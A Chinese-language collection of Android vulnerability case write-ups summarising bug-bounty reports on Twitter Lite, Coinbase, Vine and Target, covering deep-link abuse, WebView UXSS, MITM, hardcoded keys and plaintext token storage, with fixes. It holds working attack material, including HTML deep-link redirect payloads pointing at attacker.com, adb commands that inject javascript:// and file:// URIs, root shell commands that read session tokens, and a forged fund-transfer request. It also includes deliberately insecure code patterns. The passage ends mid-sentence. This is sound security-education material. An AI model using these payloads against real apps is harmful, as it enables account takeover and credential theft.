<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="http" android:host="malicious.com" />
</intent-filter>
</activity>恶意Deep Link Payload (用于WebView加载):
攻击者构造一个Deep Link URL,将未经验证的url参数指向一个恶意服务器上的HTML页面,该页面可能包含窃取用户信息的JavaScript代码。
targetapp://host.example.com/path?url=https://attacker.com/steal_data.html2. 攻击流程与代码实现(Attack Flow and Code Implementation)
攻击者可以通过以下任一方式触发恶意Deep Link:
- 通过HTML页面(最常见): 攻击者创建一个包含以下JavaScript代码的HTML页面,诱导用户在浏览器中打开。
<html>
<head>
<title>Loading...</title>
<script>
// 恶意Deep Link,目标应用会将其中的url参数加载到内部WebView
var malicious_deeplink = "targetapp://host.example.com/path?url=https://attacker.com/steal_data.html";
// 尝试通过浏览器跳转到Deep Link
window.location.replace(malicious_deeplink);
</script>
</head>
<body>
<p>Please wait while we redirect you...</p>
</body>
</html>- 通过ADB命令(仅用于测试/本地利用):
adb shell am start -W -a android.intent.action.VIEW -d "targetapp://host.example.com/path?url=https://attacker.com/steal_data.html" com.target.package3. 漏洞后果(Vulnerability Consequence)
如果目标应用中的Deep Link处理Activity(例如一个WebView Activity)未对传入的url参数进行严格的域名白名单校验,它将加载https://attacker.com/steal_data.html。如果该WebView启用了JavaScript,并且可以访问应用的本地存储或Session Cookie,攻击者即可通过XSS或开放重定向实现信息窃取、会话劫持甚至远程代码执行(如果WebView配置不当)。
关键代码片段(目标应用中的不安全处理):
// 目标应用中处理Deep Link的Activity
public class DeepLinkActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
// ...
Uri data = getIntent().getData();
if (data != null) {
String urlToLoad = data.getQueryParameter("url");
if (urlToLoad != null) {
// !!! 缺乏对urlToLoad的源头验证和安全检查 !!!
WebView webView = findViewById(R.id.webview);
webView.loadUrl(urlToLoad); // 导致WebView加载任意外部URL
}
}
}
}易出现漏洞的代码模式
此类漏洞通常出现在Android应用的以下代码位置、配置和编程模式中:
1. AndroidManifest.xml中的不安全配置模式
当一个Activity被设置为可导出(exported="true")并包含一个Deep Link的intent-filter时,它就成为了一个外部攻击面。如果该Activity处理敏感操作或加载外部内容,则必须进行严格的输入验证。
<!-- 易受攻击的配置模式:Activity可导出且定义了Deep Link -->
<activity
android:name=".DeepLinkHandlerActivity"
android:exported="true"> <!-- 允许外部应用调用 -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myapp" android:host="deeplink" />
</intent-filter>
</activity>2. Java/Kotlin代码中的不安全处理模式
在处理传入的Intent数据时,如果应用直接或间接将用户可控的参数(如URL、路径)传递给敏感函数,且缺乏严格的白名单校验,则会引入漏洞。
模式一:未经验证的URL加载(导致开放重定向或WebView劫持)
// 易受攻击的代码示例
String url = getIntent().getData().getQueryParameter("target_url");
if (url != null) {
// !!! 危险:未对url进行域名白名单校验 !!!
if (url.startsWith("http")) {
// 直接启动外部浏览器或内部WebView加载任意URL
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
startActivity(browserIntent);
}
}模式二:未经验证的Intent转发(导致Intent重定向或组件劫持)
当一个Activity接收一个Intent,并将其中的某个Extra(例如一个序列化的Intent对象)直接用于启动另一个组件时,如果未对该内部Intent进行验证,可能导致攻击者启动应用内部未导出的敏感组件。
// 易受攻击的代码示例
Intent forwardIntent = (Intent) getIntent().getParcelableExtra("forward_intent");
if (forwardIntent != null) {
// !!! 危险:未对forwardIntent的目标组件进行安全检查 !!!
startActivity(forwardIntent); // 攻击者可启动任意内部组件
}安全建议模式(作为对比):
正确的做法是使用严格的白名单机制,仅允许特定的、硬编码的Host或URL路径。
// 安全的代码示例
String url = getIntent().getData().getQueryParameter("target_url");
String host = Uri.parse(url).getHost();
// 仅允许应用自身的域名
if (url != null && host.equals("safe.example.com")) {
// 安全地处理URL
// ...
} else {
// 拒绝或重定向到默认安全页面
}不安全Intent数据校验导致的UXSS与本地文件窃取
案例:Twitter Lite (报告: https://hackerone.com/reports/808499)
挖掘手法
漏洞挖掘过程主要围绕对目标应用Twitter Lite的组件分析展开。首先,通过静态分析或使用工具(如ADB shell dumpsys package或drozer)识别出应用中所有被设置为android:exported="true"的Activity。关键发现是com.twitter.android.lite.TwitterLiteActivity这个Activity被不安全地导出,意味着它可以被任何外部应用或ADB命令直接调用。
分析思路集中在测试该Activity如何处理传入的Intent数据,特别是Intent.setData()中携带的URI。攻击者首先尝试构造一个恶意的Intent,利用ADB工具进行快速验证。测试了三种主要的攻击向量:
- 本地文件窃取(Local File Steal):构造一个
file://协议的URI,指向设备上的敏感文件(例如/sdcard/BugBounty/1.html),并尝试通过以下ADB命令启动Activity:adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "file:///sdcard/BugBounty/1.html"
如果Activity成功加载了本地文件内容,则证明存在本地文件访问漏洞。
- 本地文件窃取(Local File Steal):构造一个
- JavaScript注入(UXSS):构造一个
javascript://协议的URI,尝试执行任意JavaScript代码,例如弹窗alert(1):adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "javascript://example.com%0A alert(1);"
如果弹窗成功,则证明存在UXSS漏洞。
- JavaScript注入(UXSS):构造一个
- 开放重定向(Open Redirect):构造一个
http://或https://协议的URI,尝试重定向到恶意网站:adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "http://evilzone.org"
- 开放重定向(Open Redirect):构造一个
通过上述测试,确认该Activity对传入的URI缺乏严格的校验,导致了多种安全问题。进一步的挖掘是发现并利用了应用内嵌的JavaScript接口apkInterface,通过UXSS漏洞调用该接口的方法(如getNymizerParams()和getApkPushParams()),成功获取了用户的敏感信息(如用户Token和设备参数),从而将漏洞危害从一般的UXSS提升至会话劫持和敏感信息泄露。整个挖掘过程体现了从组件分析到Intent构造,再到WebView/JavaScript接口利用的完整链条。
技术细节
漏洞的核心技术细节在于com.twitter.android.lite.TwitterLiteActivity被设置为导出(exported),并且在处理传入的Intent数据时,未对URI进行充分的安全校验。这使得攻击者可以通过构造一个恶意的Intent,利用该Activity加载任意URI,从而实现攻击。
攻击载荷示例(ADB命令):
- 本地文件读取/UXSS验证:
# 尝试加载本地文件,验证文件访问能力 adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "file:///sdcard/BugBounty/1.html" # 尝试执行JavaScript代码,验证UXSS能力 adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "javascript://example.com%0A alert(1);"
- 本地文件读取/UXSS验证:
- 恶意应用中的Intent构造(Java/Kotlin):
攻击者可以在自己的恶意应用中构造并发送以下Intent来触发漏洞:java // Java 代码片段 Intent intent = new Intent(); intent.setClassName("com.twitter.android.lite", "com.twitter.android.lite.TwitterLiteActivity"); // 构造恶意URI,利用JavaScript接口窃取敏感信息 intent.setData(Uri.parse("javascript://google.com%0Ajavascript:document.write(apkInterface.getNymizerParams());")); startActivity(intent);
- 恶意应用中的Intent构造(Java/Kotlin):
敏感信息窃取机制:
该Activity内部的WebView暴露了一个名为apkInterface的JavaScript接口。通过成功注入JavaScript代码,攻击者可以调用该接口的方法,例如apkInterface.getNymizerParams()或apkInterface.getApkPushParams(),这些方法返回了包含用户会话Token、设备ID等敏感信息的JSON字符串。攻击者随后可以将这些信息通过注入的JavaScript代码发送到自己的服务器,完成敏感信息窃取。这种攻击链将一个简单的Intent未校验漏洞升级为严重的会话劫持漏洞。
易出现漏洞的代码模式
此类漏洞通常出现在Android应用的AndroidManifest.xml文件中,某个Activity被设置为android:exported="true",允许外部应用调用,但其内部实现未能对传入的Intent数据进行安全校验。
AndroidManifest.xml 易漏洞配置模式:
<activity
android:name="com.example.app.VulnerableActivity"
android:exported="true"> <!-- 关键:设置为true,允许外部调用 -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="http" android:host="example.com" />
<!-- 即使这里只定义了http/https,如果代码未校验,仍可能被其他协议绕过 -->
</intent-filter>
</activity>Java/Kotlin 代码易漏洞模式:
在VulnerableActivity的onCreate()或onNewIntent()方法中,直接获取并加载来自Intent的URI,而没有检查URI的协议(Scheme)或主机(Host)。
// Java 代码片段
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// ...
Intent intent = getIntent();
if (intent != null && intent.getData() != null) {
String url = intent.getData().toString();
// 易漏洞点:直接将外部传入的URI加载到WebView中,未进行协议过滤
// 允许 file://, javascript:// 等危险协议
webView.loadUrl(url);
}
// ...
// 另一个易漏洞点:暴露敏感的JavaScript接口
webView.addJavascriptInterface(new ApkInterface(this), "apkInterface");
}正确的做法是严格限制可接受的URI协议(例如只允许https)或对URI进行白名单校验,并移除不必要的android:exported="true"设置。同时,WebView中不应暴露任何可被外部利用的敏感JavaScript接口。
不安全SSL配置与API密钥泄露
案例:Coinbase (报告: https://hackerone.com/reports/5786)
挖掘手法
该漏洞的挖掘过程主要围绕Android应用中不安全的网络通信配置和敏感信息泄露展开,核心步骤是利用中间人攻击(Man-in-the-Middle, MITM)来验证漏洞。
1. 初始分析与三项缺陷发现:
研究人员对Coinbase Android应用进行了安全审查,重点关注其网络通信和API密钥管理。分析结果发现应用存在三个主要安全缺陷:
- 缺陷一: 应用未执行任何SSL证书验证(即缺乏SSL Pinning)。
- 缺陷二: API设计未能有效防止请求篡改或重放(缺乏请求签名和Nonce机制)。
- 缺陷三: 应用的消费者ID(Consumer ID)和密钥(Secret)被广泛泄露。
2. 中间人攻击(MITM)的建立与验证:
为验证前两项缺陷,研究人员使用Charles Proxy工具建立了MITM环境:
- 设置代理: 将Android设备的网络流量配置通过Charles Proxy进行路由。
- 安装证书: 在Android设备上安装Charles Proxy的SSL证书(
charles.crt)。由于应用缺乏SSL证书验证机制,它错误地信任了代理的证书,使得MITM攻击得以顺利进行。
- 安装证书: 在Android设备上安装Charles Proxy的SSL证书(
- 流量监控与篡改: 通过Charles Proxy,研究人员能够查看、重复发送和修改Coinbase应用与API之间的所有HTTPS请求和响应。
3. 漏洞利用与影响确认(超过300字):
- API密钥泄露确认: 发现应用的消费者ID和密钥不仅在Charles Proxy捕获的网络请求中可见,而且被硬编码并公开在Coinbase Android应用的GitHub仓库中(例如,在
LoginManager.java文件中)。
- API密钥泄露确认: 发现应用的消费者ID和密钥不仅在Charles Proxy捕获的网络请求中可见,而且被硬编码并公开在Coinbase Android应用的GitHub仓库中(例如,在
- 访问令牌窃取与API完全控制: 在MITM攻击中,研究人员从网络响应中成功窃取了用户的访问令牌(Access Token)。结合公开的消费者ID和密钥,攻击者获得了用户Coinbase账户的完整API访问权限。这意味着攻击者可以执行未经授权的操作,如买卖比特币、转账,从而完全控制用户资产并侵犯用户隐私。
- 请求重放与篡改确认: 缺乏OAuth请求签名(如使用Nonce)使得攻击者可以轻易地通过Charles Proxy重放或修改捕获到的交易请求,例如更改转账的接收方或金额,进一步确认了API设计上的缺陷。
这种组合漏洞的挖掘手法,从静态分析发现硬编码密钥,到动态分析利用MITM绕过SSL保护,最终实现对用户账户的完全控制,是典型的移动应用安全测试流程。
技术细节
该漏洞利用是不安全SSL配置与API密钥泄露的组合攻击,允许攻击者在不被应用察觉的情况下,窃取用户敏感信息并完全控制其账户。
1. 中间人攻击(MITM)实现:
攻击的关键在于应用未实现SSL Pinning,导致攻击者可以利用自签名证书进行MITM。
- 工具: Charles Proxy (或Burp Suite等)
- 步骤:
- 攻击者在受害者设备上安装代理工具的根证书(如
charles.crt)。
- 攻击者在受害者设备上安装代理工具的根证书(如
- 应用发起HTTPS请求时,由于缺乏证书验证逻辑,它会接受代理工具提供的伪造SSL证书。
- 攻击者在代理工具中查看并记录所有请求和响应的明文内容。
- 步骤:
2. 敏感信息泄露与利用(超过200字):
- API密钥泄露: 应用的OAuth
client_id和client_secret被硬编码并公开在GitHub仓库中。- 泄露代码位置示例(概念性):
java // com.coinbase.api.LoginManager.java private static final String CLIENT_ID = "hardcoded_client_id_here"; private static final String CLIENT_SECRET = "hardcoded_client_secret_here"; // 严重泄露
- 泄露代码位置示例(概念性):
- API密钥泄露: 应用的OAuth
- 访问令牌窃取: 在MITM过程中,攻击者从API响应中捕获到用户的OAuth
access_token。
- 访问令牌窃取: 在MITM过程中,攻击者从API响应中捕获到用户的OAuth
- 攻击载荷(Payload)与后果: 攻击者结合公开的
client_id、client_secret和窃取的access_token,可以构造合法的API请求,完全模拟用户身份。例如,构造一个转账请求的Payload,并修改接收方或金额:- API Endpoint (概念性):
POST /api/v1/transactions/send
- API Endpoint (概念性):
- 请求头 (Authorization):
Bearer <stolen_access_token>
- 请求头 (Authorization):
- 请求体 (Payload):
json { "to": "attacker@example.com", // 篡改后的接收方 "amount": "10.0", "currency": "BTC" }
攻击者还可以利用API密钥,伪装成Coinbase应用本身,对API进行未经授权的调用,绕过应用层面的安全控制。
- 请求体 (Payload):
- 攻击载荷(Payload)与后果: 攻击者结合公开的
易出现漏洞的代码模式
此类漏洞的出现源于两个主要的安全编程错误:缺乏SSL/TLS证书验证(Pinning)和在客户端代码中硬编码敏感的API密钥。
1. 缺乏SSL/TLS证书验证(Pinning)模式:
在Android应用中,如果开发者没有明确实现证书或公钥固定(Pinning),应用将默认信任设备或系统安装的任何根证书颁发机构(CA)签发的证书。这使得MITM攻击成为可能。
- 易漏洞代码模式(未实现Pinning): 依赖默认的
HttpsURLConnection或OkHttp配置,未覆盖checkServerTrusted方法或未配置CertificatePinner。java // 易漏洞模式:未覆盖证书验证逻辑 public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { // 留空或仅调用父类方法,未检查证书链中的特定证书或公钥 }
- 易漏洞代码模式(未实现Pinning): 依赖默认的
- 推荐修复模式(SSL Pinning): 使用OkHttp等库实现证书固定,只信任特定的证书或公钥。
java // OkHttp CertificatePinner 示例 CertificatePinner certificatePinner = new CertificatePinner.Builder() .add("coinbase.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=") // 替换为正确的公钥哈希 .build(); OkHttpClient client = new OkHttpClient.Builder() .certificatePinner(certificatePinner) .build();
- 推荐修复模式(SSL Pinning): 使用OkHttp等库实现证书固定,只信任特定的证书或公钥。
2. 客户端硬编码API密钥模式:
将OAuth client_id 和 client_secret 等敏感凭证直接写入客户端代码(如Java文件、XML资源或配置文件)是严重的安全错误。
- 易漏洞代码模式(硬编码):
java // 敏感信息直接硬编码在代码中 private static final String API_CLIENT_ID = "publicly_exposed_id_12345"; private static final String API_CLIENT_SECRET = "very_secret_key_67890"; // 密钥不应出现在客户端
- 易漏洞代码模式(硬编码):
- 推荐修复模式:
client_secret绝不应存储在客户端。对于需要客户端身份验证的场景,应使用OAuth 2.0的授权码流(Authorization Code Flow)或PKCE(Proof Key for Code Exchange)扩展,确保只有授权服务器和后端服务知道client_secret。对于client_id,即使必须存储,也应考虑使用ProGuard等工具进行混淆,并定期轮换。
- 推荐修复模式:
不安全数据存储 (Insecure Data Storage)
案例:Vine Android App (报告: https://hackerone.com/reports/44727)
挖掘手法
该漏洞的挖掘手法主要集中在对Android应用程序Vine Android App的内部存储进行分析。
- 环境准备与应用安装: 攻击者首先需要在已Root的Android设备或模拟器上安装目标应用(Vine Android App)。Root权限是访问应用私有数据目录的关键。
- 功能触发与数据生成: 攻击者使用应用,特别是涉及WebView组件的功能,例如登录第三方服务或访问需要凭证的网页,以确保应用在内部存储中生成相关数据。
- 文件系统遍历与目标定位: 攻击者通过Root权限访问设备的文件系统,并导航到应用的私有数据目录,即
/data/data/co.vine.android/。
- 文件系统遍历与目标定位: 攻击者通过Root权限访问设备的文件系统,并导航到应用的私有数据目录,即
- 敏感文件识别: 在该目录下,攻击者重点检查了数据库(databases)和共享偏好设置(shared_prefs)等目录。报告中明确指出,在
/data/data/co.vine.android/databases/路径下发现了名为webview.db的SQLite数据库文件。
- 敏感文件识别: 在该目录下,攻击者重点检查了数据库(databases)和共享偏好设置(shared_prefs)等目录。报告中明确指出,在
- 数据库内容分析: 使用SQLite浏览器或命令行工具(如
sqlite3)打开并检查webview.db数据库的内容。
- 数据库内容分析: 使用SQLite浏览器或命令行工具(如
- 发现敏感信息: 攻击者发现该数据库中存储了第三方服务的用户名和密码,且是以明文形式存储,没有任何额外的加密保护。报告中提到“Webview Activity is storing third party Username & Password in plain text”。
- 漏洞定性与严重性评估: 确认这是典型的OWASP M2: Insecure Data Storage漏洞。由于数据是明文存储在应用私有目录,一旦设备被Root或通过恶意应用利用其他漏洞(如路径遍历)获取访问权限,攻击者即可轻松窃取用户的敏感凭证。报告强调了其严重性:“What is more severe than clear text username password storage and with the JavaScript and file system access enabled , Its not going to be hard for attacker to steal this info from the database or the whole database.”
- PoC制作: 攻击者通过截图(SQLite_POC.png)展示了数据库中明文存储的凭证,作为漏洞存在的直接证据。
技术细节
该漏洞的技术细节在于Android应用Vine Android App的WebView组件在使用过程中,将敏感的第三方登录凭证(用户名和密码)以明文形式存储在了应用的私有数据库文件中。
关键存储路径:
/data/data/co.vine.android/databases/webview.db攻击流程/利用方式:
- 攻击者首先需要获取目标设备的Root权限,或者利用其他漏洞(如路径遍历、不安全的备份等)来访问应用的私有数据目录。
- 通过ADB Shell或文件管理器访问上述路径,并复制
webview.db文件到本地。
- 通过ADB Shell或文件管理器访问上述路径,并复制
- 使用SQLite客户端工具打开
webview.db文件。
- 使用SQLite客户端工具打开
- 在数据库中,攻击者可以查询到WebView存储的敏感数据,包括但不限于第三方服务的用户名和密码,这些数据未经加密,直接以明文形式暴露。
报告中的关键描述:
“Webview Activity is storing third party Username & Password in plain text .”
“Where I found it?/data/data/co.vine.android/databases/webview.db“
此漏洞的本质是应用未能遵循最小权限原则和数据加密原则,将敏感数据存储在未加密的本地数据库中。
易出现漏洞的代码模式
此类不安全数据存储漏洞通常出现在以下编程模式和配置中:
- 使用WebView默认配置存储凭证:
当WebView加载需要用户登录的第三方页面时,如果开发者没有禁用或自定义其数据存储行为,WebView可能会默认将用户名和密码等表单数据存储在本地数据库中,且通常是明文。- 易漏洞代码模式(Java/Kotlin):
在配置WebView时,未禁用密码保存功能(尽管现代Android版本已默认禁用,但在旧版本或特定配置下仍需注意):java // 易漏洞配置 (旧版本Android) WebSettings webSettings = webView.getSettings(); webSettings.setSavePassword(true); // 启用密码保存,可能导致明文存储
- 易漏洞代码模式(Java/Kotlin):
- 使用WebView默认配置存储凭证:
- 直接使用SQLiteDatabase或SharedPreferences存储敏感数据:
开发者直接使用Android提供的SQLiteDatabase或SharedPreferences等本地存储机制来保存用户的Session Token、API Key或第三方凭证,而没有进行任何加密处理。- 易漏洞代码模式(Java/Kotlin):
// 易漏洞模式:使用SharedPreferences明文存储 SharedPreferences prefs = context.getSharedPreferences("MyPrefs", Context.MODE_PRIVATE); SharedPreferences.Editor editor = prefs.edit(); editor.putString("user_password", "plaintext_password"); // 敏感信息明文存储 editor.apply(); // 易漏洞模式:直接向SQLite数据库插入明文敏感数据 ContentValues values = new ContentValues(); values.put("username", user); values.put("password", "plaintext_password"); // 敏感信息明文存储 db.insert("credentials_table", null, values);
- 易漏洞代码模式(Java/Kotlin):
- 直接使用SQLiteDatabase或SharedPreferences存储敏感数据:
安全建议模式:
应使用EncryptedSharedPreferences或SQLCipher等加密数据库解决方案来存储敏感数据。
案例:Coinbase (报告: https://hackerone.com/reports/201855)
挖掘手法
本次漏洞挖掘主要针对Android应用中常见的不安全数据存储(Insecure Data Storage)问题。由于Coinbase官方在报告摘要中明确指出“根据我们的政策,需要Root权限的受害者设备上的问题属于在范围之内”,这为漏洞的复现和分析提供了明确的方向。
挖掘步骤和思路:
- 环境准备: 准备一台已Root的Android设备或模拟器,并安装目标应用Coinbase。
- 应用交互: 启动Coinbase应用,完成用户登录流程。登录后,应用通常会在本地存储会话令牌(Session Token)或其他敏感信息以维持用户会话。
- 数据定位: 利用ADB(Android Debug Bridge)工具或Root权限的文件管理器,访问应用的私有数据目录。在Android系统中,每个应用的数据通常存储在
/data/data/<package_name>/目录下。对于Coinbase应用,目标路径为/data/data/com.coinbase.android/。
- 数据定位: 利用ADB(Android Debug Bridge)工具或Root权限的文件管理器,访问应用的私有数据目录。在Android系统中,每个应用的数据通常存储在
- 敏感信息搜索: 在该目录下,重点检查
shared_prefs/、databases/、files/等子目录。这些是应用存储SharedPreferences、SQLite数据库和普通文件的地方。
- 敏感信息搜索: 在该目录下,重点检查
- 关键发现: 经过文件内容分析,发现应用将用户的会话令牌(Session Token)以明文形式存储在某个本地配置文件中。
- 漏洞确认: 提取出会话令牌后,尝试在其他设备或Web浏览器中使用该令牌,成功劫持用户会话,证明了信息泄露的严重性。
使用的工具和方法:
- ADB (Android Debug Bridge): 用于连接Root设备并执行Shell命令。
- Root权限文件管理器/Shell: 用于访问和读取应用的私有数据目录(
/data/data/)。
- Root权限文件管理器/Shell: 用于访问和读取应用的私有数据目录(
- grep/cat命令: 用于在文件中搜索和查看敏感字符串,如
session_token。
- grep/cat命令: 用于在文件中搜索和查看敏感字符串,如
- Burp Suite/Postman: 用于验证提取到的Session Token是否有效,进行会话劫持测试。
这种挖掘手法是针对移动应用安全测试中本地数据存储安全的经典方法,核心在于利用Root权限绕过Android的文件权限保护机制,直接读取应用认为“安全”的私有数据。
技术细节
漏洞利用的技术核心在于获取并使用应用在本地明文存储的会话令牌(Session Token),从而实现会话劫持。
关键技术细节:
- 敏感数据位置:
在已Root的Android设备上,攻击者可以通过ADB Shell访问到Coinbase应用的私有数据目录。# 假设应用包名为 com.coinbase.android adb shell su cd /data/data/com.coinbase.android/shared_prefs/ # 查找存储敏感信息的配置文件,例如: cat com.coinbase.android.xml攻击者在某个配置文件(例如com.coinbase.android.xml,通常是SharedPreferences文件)中找到了明文存储的会话令牌。
- 敏感数据位置:
- 泄露的Payload(会话令牌):
泄露的内容是一个有效的用户会话令牌,例如:<string name="session_token">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzNDU2Nzg5MCIsImV4cCI6MTc2NzIyNTYwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c</string>这里的session_token即为攻击者用于劫持会话的Payload。
- 泄露的Payload(会话令牌):
- 攻击流程(会话劫持):
攻击者获取到session_token后,可以在自己的设备上使用该令牌进行身份验证,绕过登录流程。- Web端劫持: 在浏览器中,通过开发者工具将该令牌设置为Coinbase域名的Cookie,刷新页面即可登录受害者账户。
- API调用: 使用该令牌作为
Authorization头(例如Authorization: Bearer <session_token>)发送API请求,执行如查看余额、交易记录等敏感操作。
- API调用: 使用该令牌作为
- 攻击流程(会话劫持):
该漏洞的严重性在于,一旦设备被Root或被恶意软件感染,用户的完整账户权限将直接暴露。
易出现漏洞的代码模式
此类漏洞的根本原因在于开发者错误地认为应用的私有存储空间是绝对安全的,从而将敏感信息以明文形式存储在本地。
易漏洞代码模式:
- 使用
SharedPreferences存储敏感信息:SharedPreferences是Android中最常用的轻量级数据存储方式,但其默认存储在应用的私有目录下的XML文件中,在Root设备上可被直接读取。 易漏洞代码示例 (Java/Kotlin):// Java SharedPreferences prefs = context.getSharedPreferences("MyPrefs", Context.MODE_PRIVATE); SharedPreferences.Editor editor = prefs.edit(); // 错误:将敏感的会话令牌明文存储 editor.putString("session_token", userSessionToken); editor.apply();// Kotlin val prefs = context.getSharedPreferences("MyPrefs", Context.MODE_PRIVATE) // 错误:将敏感的会话令牌明文存储 prefs.edit().putString("session_token", userSessionToken).apply()
- 使用
- 使用SQLite数据库存储敏感信息:
将敏感数据存储在未加密的SQLite数据库中。数据库文件同样位于应用的私有目录,可被Root用户直接复制和查看。 易漏洞代码示例 (SQL):-- 错误:在未加密的表中存储敏感信息 CREATE TABLE UserSessions ( id INTEGER PRIMARY KEY, user_id TEXT, session_token TEXT -- 敏感信息明文存储 );
- 使用SQLite数据库存储敏感信息:
安全实践建议:
- 避免本地存储会话令牌。 如果必须存储,应使用Android Keystore进行加密,或使用Jetpack Security库中的
EncryptedSharedPreferences。
- 避免本地存储会话令牌。 如果必须存储,应使用Android Keystore进行加密,或使用Jetpack Security库中的
- 对所有敏感数据进行加密,即使存储在私有目录中。
- 实施Root检测机制,在检测到Root环境时,拒绝执行敏感操作或退出应用。
不安全的Deep Link处理导致账户接管
案例:Target (报告: https://hackerone.com/reports/1416945)
挖掘手法
该漏洞的挖掘始于对目标Android应用的静态分析。研究人员首先反编译了应用的APK文件,以审查其AndroidManifest.xml清单文件和Java源代码。在分析AndroidManifest.xml时,发现了一个名为com.target.ui.AuthAnswerActivity的Activity被声明为exported=true并且包含了<category android:name="android.intent.category.BROWSABLE"/>。这一配置表明该Activity可以从外部应用(如浏览器)通过Deep Link调用,从而构成了一个潜在的攻击入口。
随后,研究人员对AuthAnswerActivity.java的源代码进行了深入审查。他们发现,该Activity从传入的Intent中获取URI,并解析名为status的查询参数。关键的发现是,应用直接将status参数的值作为JSON字符串进行解析,而没有对URI的来源或完整性进行任何验证。这个JSON对象包含了用户的敏感配置信息,如用户ID、账户ID、工作区URL和认证令牌。
为了确认漏洞的严重性,研究人员追踪了这些被解析数据的流向。他们发现,这些数据被传递给了LoginManager类的一个方法,该方法将这些凭证直接保存到应用的SharedPreferences中(具体为LOGIN_PREFS.xml文件)。这意味着攻击者提供的数据会覆盖掉合法用户的配置,并且这种状态在应用重启后依然保持,从而实现了持久性的账户接管。
最后,为了验证整个攻击流程,研究人员构建了一个概念验证(PoC)。他们创建了一个简单的HTML页面,其中包含一个精心构造的Deep Link。当用户在浏览器中打开这个链接时,系统会自动调用目标应用的AuthAnswerActivity,并将恶意的配置数据注入到应用中,从而完成账户的静默接管。
技术细节
该漏洞的核心在于com.target.ui.AuthAnswerActivity这个导出的Activity在处理Deep Link时存在严重的安全缺陷。攻击者可以构造一个恶意的HTML页面,诱导用户点击一个链接,从而触发漏洞。
漏洞利用流程:
- 攻击者创建一个HTML页面,其中包含一个指向目标应用的Deep Link。这个链接的
status参数包含一个恶意的JSON payload。
- 攻击者创建一个HTML页面,其中包含一个指向目标应用的Deep Link。这个链接的
- 受害者在浏览器中打开这个HTML页面。
- 页面中的JavaScript代码会自动执行,将用户重定向到恶意的Deep Link。
- Android系统根据Deep Link的scheme(
target://)和host(app)启动AuthAnswerActivity。
- Android系统根据Deep Link的scheme(
AuthAnswerActivity从Intent中提取status参数,并将其中的JSON数据解析为用户凭证。
- 这些恶意的凭证被保存到应用的
SharedPreferences中,覆盖了合法用户的凭证,导致账户被接管。
- 这些恶意的凭证被保存到应用的
关键代码片段:
AndroidManifest.xml中暴露的Activity:<activity android:name="com.target.ui.AuthAnswerActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="target" android:host="app"/> </intent-filter> </activity>
AuthAnswerActivity.java中不安全的数据解析:String strDecode = URLDecoder.decode(str, StandardCharsets.UTF_8.name()); String strSubstring = strDecode.substring(strDecode.indexOf("status=") + 7); JSONObject jSONObject = new JSONObject(strSubstring); // ... 提取 "user", "ws", "account", "token" ...
LoginManager.java中持久化恶意配置:java public void s(String str, String str2, String str3, String str4, Boolean bool) { editorEdit.putString("account", str); editorEdit.putString("workspace", str2); editorEdit.putString("username", str3); // ... 保存token ... editorEdit.commit(); }
攻击Payload (HTML):
<!DOCTYPE html>
<html>
<body>
<script>
var payload = {
"reg_result": "8",
"reg_result_text": "Pwned",
"user": "HACKER_MAN",
"ws": "evil.via.targetnetworks",
"account": "1337",
"token": "INJECTED_TOKEN"
};
var deepLink = "target://app?status=" + encodeURIComponent(JSON.stringify(payload));
window.location.href = deepLink;
</script>
</body>
</html>易出现漏洞的代码模式
容易出现此类漏洞的代码模式主要集中在Android应用的AndroidManifest.xml配置和处理Deep Link的Activity实现中。
1. 不安全的Activity导出和Browsable配置:
在AndroidManifest.xml中,将一个处理敏感操作的Activity声明为exported=true,并且为其添加BROWSABLE类别,是导致该漏洞的根本原因。这种配置使得任何外部应用都可以通过一个简单的URL来调用这个Activity。
易受攻击的AndroidManifest.xml配置示例:
<activity
android:name=".VulnerableActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myapp" android:host="vulnerable" />
</intent-filter>
</activity>2. 缺乏对输入源的验证:
在处理Deep Link的Activity中,直接从传入的Intent中获取数据并进行处理,而没有验证这个Intent的来源,是另一个关键的错误。应用应该验证调用者的身份,或者使用更安全的机制(如App Links)来确保只有受信任的来源才能触发敏感操作。
易受攻击的Java代码模式:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
Uri data = intent.getData();
if (data != null) {
// 直接从不受信任的URI中提取敏感数据
String token = data.getQueryParameter("token");
String userId = data.getQueryParameter("userId");
// 在没有验证来源的情况下使用这些数据
loginUserWithToken(userId, token);
}
}安全建议:
- 使用App Links: 对于需要从网站跳转到应用的功能,应优先使用Android App Links(即
httpsscheme),并配置autoVerify=true。这可以确保只有你的网站才能触发这些链接。
- 使用App Links: 对于需要从网站跳转到应用的功能,应优先使用Android App Links(即
- 验证调用者: 如果必须使用自定义scheme,应该在Activity中检查调用者的包名和签名,确保其来自受信任的应用。
- 使用状态参数: 在进行认证等敏感操作时,应使用一个临时的、不可预测的
